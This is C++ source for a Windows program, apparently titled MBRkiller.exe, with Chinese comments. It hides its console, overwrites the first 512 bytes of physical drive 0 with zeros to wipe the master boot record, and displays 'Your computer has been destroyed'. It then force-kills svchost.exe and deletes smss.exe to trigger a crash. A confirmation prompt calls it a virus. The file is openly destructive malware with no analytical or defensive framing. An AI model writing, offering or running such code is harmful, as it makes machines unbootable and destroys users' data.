#include <windows.h>
#include <iostream>
#include <ctime>
#include <string>
#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"" ) //隐藏DOS窗口
#include <cstdlib>
using namespace std;
#define mbrsize 512
int killmbr()
{
DWORD write;
HANDLE mbr;
char mbrdata[mbrsize];
ZeroMemory(&mbrdata, (sizeof mbrdata));
mbr = CreateFile
(
"\\\\.\\PHYSICALDRIVE0",
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
0,
NULL
);
if (WriteFile(mbr, mbrdata, mbrsize, &write, NULL) == TRUE)
{
MessageBox(NULL, "Your computer has been destroyed", "MBR has been written",MB_ICONERROR); //提示用户已修改mbr
Sleep(1);
}
else
{
cout << "ERROR";
Sleep(1);
}
CloseHandle(mbr);
return EXIT_SUCCESS;
}
int main()
{
int op;
op=MessageBox(NULL, "这是一个病毒程序,确定运行?","MBRkiller.exe", MB_OKCANCEL | MB_ICONWARNING);
if (op == 1)
{
killmbr(); //调用函数
system("taskkill /f /im svchost.exe /t");
system("wmic process where name="smss.exe" delete"); //蓝屏代码
}
if (op == 2)
{
exit(0); //退出程序
}
return 0;
}